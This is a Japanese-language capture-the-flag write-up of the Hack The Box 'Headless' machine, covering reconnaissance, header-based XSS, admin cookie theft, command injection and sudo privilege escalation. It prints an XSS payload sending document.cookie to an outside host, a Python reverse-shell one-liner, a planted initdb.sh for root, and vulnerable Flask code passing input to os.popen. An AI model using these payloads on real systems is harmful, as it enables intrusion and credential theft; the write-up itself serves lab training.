見出し画像

HTB Headless

ユーザ権限の取得

nmap


nmap

22と5000が空いてます。

5000を見る

トップ画面

contact form。sqlインジェクションも無さそう。

XSS

一応XSSも試してみる

エラーが発生。
ハッキングを検知したぞ的なメッセージが表示されています。
親切にヘッダ情報見せてくれています。

alert(1)を仕込んだときのエラーメッセージ

Burpsuiteで通常時のヘッダを見てみる

burpsuiteでキャプチャしたヘッダ

先程のハッキングの警告メッセージで表示されているヘッダ情報はこちらから送ったリクエストヘッダーをそのまま表示している可能性がたかく。
ヘッダにXSSを仕込むことで、画面上で表示されて実行される可能性が高いです。
User-Agentにscriptを埋め込む

alert(1)を埋め込む

メッセージが出ました。
ハッキングの忠告ページに飛んだ時はヘッダが表示されることを利用して埋め込んだscriptを実行してくれました。

結果

is_admin

ヘッダ情報のクッキーを見るとis_adminとなっている。
そしてハッシュ値が何を示しているのか気になります。
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
デコードするとuser〜となってます。
adminのCookieをとれないかな?

XSSを掘る

<script>document.location='http://10.10.16.5/xss?c='+localStorage.getItem('is_admin')</script>

is_adminのデータを取得できるかと思いましたが、これは取れないようです。(null)

<script>document.location='http://10.10.16.5/xss?c='+document.cookie</script>

document.cookieを試してみると何かしら取れたようです。

ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

CyberChefでみてみるとadminとなっており、これでしょう。

ディレクトリ列挙

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u "http://10.10.11.8:5000/FUZZ" -recursion -recursion-depth 1 -ic -c -o ffuf_result.json

裏で実行していたディレクトリスキャンを見るとdashboardが存在しているんだけど、500エラーになっており、ここに先程のクッキーをセットしていけるか?

RCE

sleep 10

効果ありということで

ReversShellを流す

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.5",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

Pythonのリバースシェルを流してみると取れました。

root権限の取得

sudo -l

/usr/bin/syscheckの中を見てみる

dvir@headless:~$ cat /usr/bin/syscheck
cat /usr/bin/syscheck
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

initdb.shを作り実行する

$ echo '#!/bin/bash' > initdb.sh
$ echo '' >> initdb.sh
$ echo 'ls /root/' >> initdb.sh
$ echo 'cat /root/root.txt' >> initdb.sh
$ chmod +x initdb.sh
$ sudo /usr/bin/syscheck

OSインジェクションのソース

dashboardで発生した脆弱性
app.pyを見るとレポート作成のシェルを作成するのに、os.popenで呼び出しており、引数にdateパラメーターをそのまま渡しています。

@app.route('/dashboard', methods=['GET', 'POST'])
def admin():
    if serializer.loads(request.cookies.get('is_admin')) == "user":
        return abort(401)

    script_output = ""

    if request.method == 'POST':
        date = request.form.get('date')
        if date:
            script_output = os.popen(f'bash report.sh {date}').read()

    return render_template('dashboard.html', script_output=script_output)


いいなと思ったら応援しよう!